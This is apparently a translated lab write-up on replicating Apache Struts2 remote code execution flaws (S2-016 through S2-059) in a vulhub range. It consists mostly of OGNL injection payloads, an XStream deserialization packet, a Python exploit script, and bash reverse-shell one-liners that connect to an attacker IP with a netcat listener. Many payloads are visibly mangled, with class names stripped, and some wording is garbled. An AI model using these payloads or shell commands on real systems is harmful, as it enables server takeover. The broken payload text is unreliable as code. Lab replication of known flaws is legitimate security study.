Struts2 Vulnerability Replication
- Range environment:
/vulhub/struts2
Mostly OGNL injection
What it is:
Struts2 is a web application framework based on the MVC design pattern
Recognize:
1. through the page suffix to judge , such as .do or .action
2.Judge by whether /struts/ exists or not, but need devMode is true.
Struts2-045(CVE-2017-5638)
What is it:
Remote command execution is possible when using the file upload feature based on the Jakarta plugin. A malicious user can trigger the vulnerability by modifying the Content-Type value in the HTTP request header when uploading a file to execute system commands.
Affected Versions:
Struts2.3.5-Struts2.3.31
Struts2.5-Struts52.5.10
- access address
- Upload a file and grab the package, change the Content-Type to the following, replace the
whoami
Content-Type:"%{(#nike='multipart/form-data').(#dm=@@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['.']).(#ognlUtil=#(@.@class)).(#().clear()).(#().clear()).(#(#dm)))).(#cmd='whoami').(#iswin=(@@getProperty('').toLowerCase().contains('win'))).(#cmds=(#iswin?{'','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new (#cmds)).(#(true)).(#process=#()).(#ros=(@.@getResponse().getOutputStream())).(@@copy(#(),#ros)).(#())}"
- Construct a bounce shell, note that java must be base64 encoded to construct a bounce shell.
Online coding site:/rce/
# Initialization statements
bash -i >& /dev/tcp/192.168.10.23/6666 0>&1
# base64 encoding
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjIzLzY2NjYgMD4mMQ==|base64 -d|bash -i
- The attacker listens on port 6666 and replaces whoami with a base64-encoded bounce shell statement
nc -lvvp 6666
struts2-059(CVE-2019-0230)
What is it?
Apache Struts framework , will be specific tag attribute values , such as id attribute for secondary parsing , so an attacker can pass will be in the tag attribute when the rendering of the OGNL expression parsed again , resulting in OGNL expression injection . This may result in remote code execution.
Affected Versions
Struts 2.0.0 - Struts 2.5.20
- Utilizing the script bounce shell
import requests
import base64
# Target machine address URL
target_url = "http://target droneip:8080/"
# bounceshell ground attack aircraftIP
reverse_ip = "ground attack aircraftip"
# bounceshell ground attack aircraft端口
reverse_port = "6666"
bash_reverse_shell = "bash -i >& /dev/tcp/" + reverse_ip + "/" + reverse_port + " 0>&1"
data1 = {
"id": "%{(#context=#attr[''].context).(#container=#context['.']).(#ognlUtil=#(@.@class)).(#('')).(#(''))}"}
data2 = {
"id": "%{(#context=#attr[''].context).(#(@@DEFAULT_MEMBER_ACCESS)).(@@getRuntime().exec('bash -c {echo," + str(base64.b64encode(bash_reverse_shell.encode('utf-8')), "utf-8") +"}|{base64,-d}|{bash,-i}'))}"}
res1 = (target_url, data=data1)
res2 = (target_url, data=data2)
- Running Scripts
python3
- Successfully received shell
struts2-057(CVE-2018-11776)
The value is true when the Struts2 configuration meets the following conditions
the namespace attribute is not set on the element or a wildcard is used
namespace will be passed in by the user from the uri and computed as an OGNL expression, ultimately resulting in an arbitrary command execution vulnerability.
Versions affected:Less than or equal to Struts 2.3.34 and Struts 2.5.16.
- Grab a -GET request package and visit the following paths
# where ${(1+1)} must be URL-encoded
/struts2-showcase/${(1+1)}/
- command to execute poc and change the
whoami
can immediately (do sth)
/struts2-showcase/%24%7B%28%23dm%3D@@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%%27%%29.%28%23cr%3D%23ct%5B%.%27%5D%29.%28%23ou%3D%%28@.@class%29%29.%28%%28%%28%29%29.%28%%28%%28%29%29.%28%%28%23dm%29%29.%28%23w%3D%%28%.%22%%28%29%29.%28%%28@@toString%28@@getRuntime%28%%28%27whoami%27%%28%29%29%29%29.%28%%28%29%29%7D/
struts2-053
Struts2 allows parsing of 0GNL expressions at the same time when using the Freemarker template lead l engine. As a result, the user input data itself is not parsed by OGNL, but because it is parsed once by Freemarker it becomes leave an expression that is parsed a second time by OGNL, leading to an arbitrary command execution vulnerability.
Versions affected: Struts 2.0.1 - Struts 2.3.33, Struts 2.5 - Struts 2.5.10
- access page
/
, enter the following poc (There should be a space at the end.)
%{(#dm=@@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['.']).(#ognlUtil=#(@.@class)).(#().clear()).(#().clear()).(#(#dm)))).(#cmd='id').(#iswin=(@@getProperty('').toLowerCase().contains('win'))).(#cmds=(#iswin?{'','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new (#cmds)).(#(true)).(#process=#()).(@@toString(#()))}
- You can also bounce the shell
struts2-052
The problem lies in the Struts2-Rest-Plugin plugin, which determines the type of packet passed in by the user based on the Content-Type or URI extension, where the parsing method xstream is able to introduce arbitrary objects by default (for versions prior to 1.0), so we can cause a remote command execution vulnerability by deserializing an arbitrary class. So, we can introduce arbitrary classes through deserialization to cause a remote command execution vulnerability, just need to find a gedget that works in the Struts2 library.
Versions affected: Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12
- bp sends the following packet (note the host change)
POST /orders/3/edit HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/xml
Content-Length: 2415
<map>
<entry>
<>
<flags>0</flags>
<value class="..Base64Data">
<dataHandler>
<dataSource class="$XmlDataSource">
<is class="">
<cipher class="">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="">
<iter class="">
<iter class="$EmptyIterator"/>
<next class="">
<command>
<string>touch</string>
<string>/tmp/success</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="$ContainsFilter">
<method>
<class></class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</>
< reference="../"/>
</entry>
<entry>
< reference="../../entry/"/>
< reference="../../entry/"/>
</entry>
</map>
- See the return of 500
- Successfully create success in the target machine
- where the command execution keyword is, can be replaced with a bounce shell statement
<command> <string>touch</string> <string>/tmp/success</string></command>
<command>
<string>bash</string>
<string>-c</string>
<string>bash -i >& /dev/tcp/your-ip/6666 0>&1</string>
</command>
- Bounce Shell
struts2-048
Affected versions:2.0.0-2.3.32
- interviews
http://your-ip:8080/integration/
- In the GangsterName input box, enter payload
%{(#dm=@@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['.']).(#ognlUtil=#(@.@class)).(#().clear()).(#().clear()).(#(#dm)))).(#q=@@toString(@@getRuntime().exec('id').getInputStream())).(#q)}
- Success!
- You can also use the following payload, which must be captured using Burpsuite and url-encoded to the payload
%{(#dm=@@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['.']).(#ognlUtil=#(@.@class)).(#().clear()).(#().clear()).(#(#dm)))).(#cmd='id').(#iswin=(@@getProperty('').toLowerCase().contains('win'))).(#cmds=(#iswin?{'','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new (#cmds)).(#(true)).(#process=#()).(#ros=(@.@getResponse().getOutputStream())).(@@copy(#(),#ros)).(#())}
struts2-046(CVE-2017-5638)
Affected Versions: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
- Upload a random file, grab the vulnerability point at filename and replace it with the following payload
filename="%{#context['
'].addHeader('X-Test',1+1)}\xb"
-
take note of: Enter between \x and b
%00
once againURL decode
- Replace the following payload to implement command execution, which also needs to be truncated at 00 before b
%{(#nike='multipart/form-data').(#dm=@@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm) :((#container=#context['.']).(#ognlUtil=#(@..0gnlUtil@class)).(#().clear()).(#().clear()).(#(#dm)))).(#cmd='id').(#iswin=(@@getPropert y('').toLowerCase().contains('win'))).(#cmds=(#iswin?{'',`/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new (#cmds)).(#(true)).(#process=#()).(#ros=(@.@getResponse().getoutputStream())).(@@copy(#(),#ros)).(#())}b
struts2-045(CVE-2017-5638)
Affected Versions: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
- The point of vulnerability is in the POST request header
Content-Type
The following poc:
Content-Type:"%{(#nike='multipart/form-data').(#dm=@@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['.']).(#ognlUtil=#(@.@class)).(#().clear()).(#().clear()).(#(#dm)))).(#cmd='whoami').(#iswin=(@@getProperty('').toLowerCase().contains('win'))).(#cmds=(#iswin?{'','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new (#cmds)).(#(true)).(#process=#()).(#ros=(@.@getResponse().getOutputStream())).(@@copy(#(),#ros)).(#())}"
- Bouncing the shell works too!
struts2_032(CVE-2016-3081)
Affected Versions: Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)
- Visit the following path
?method:%23_memberAccess%3d%40ognl.0gn1Context%20%40DEFAULT_MEMBER_ACCESS%2c%23a%3d%40java.%40getRuntime%28%%28%%20%5B0%5D%%28%29%2c%23b%3dnew%%28%23a%29%2c%23c%3dnew%20%%28%23b%29%2c%23d%3dnew%20char%5B51020%5D%2c%%28%23d%29%2c%23kxlzx%3d%20%.%40getResponse%28%%28%29%2c%%28%23d%20%29%2c%&command=whoami
struts2_016
Affected versions: 2.0.0 - 2.3.15
- To access the following uri, the content following the redirect needs to beURL encoding
redirect:${#context[""]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#(true),#(#_memberAccess,true),#a=@@getRuntime().exec("uname -a").getInputStream(),#b=new (#a),#c=new (#b),#d=new char[5000],#(#d),#genxor=#(".").getWriter(),#(#d),#(),#()}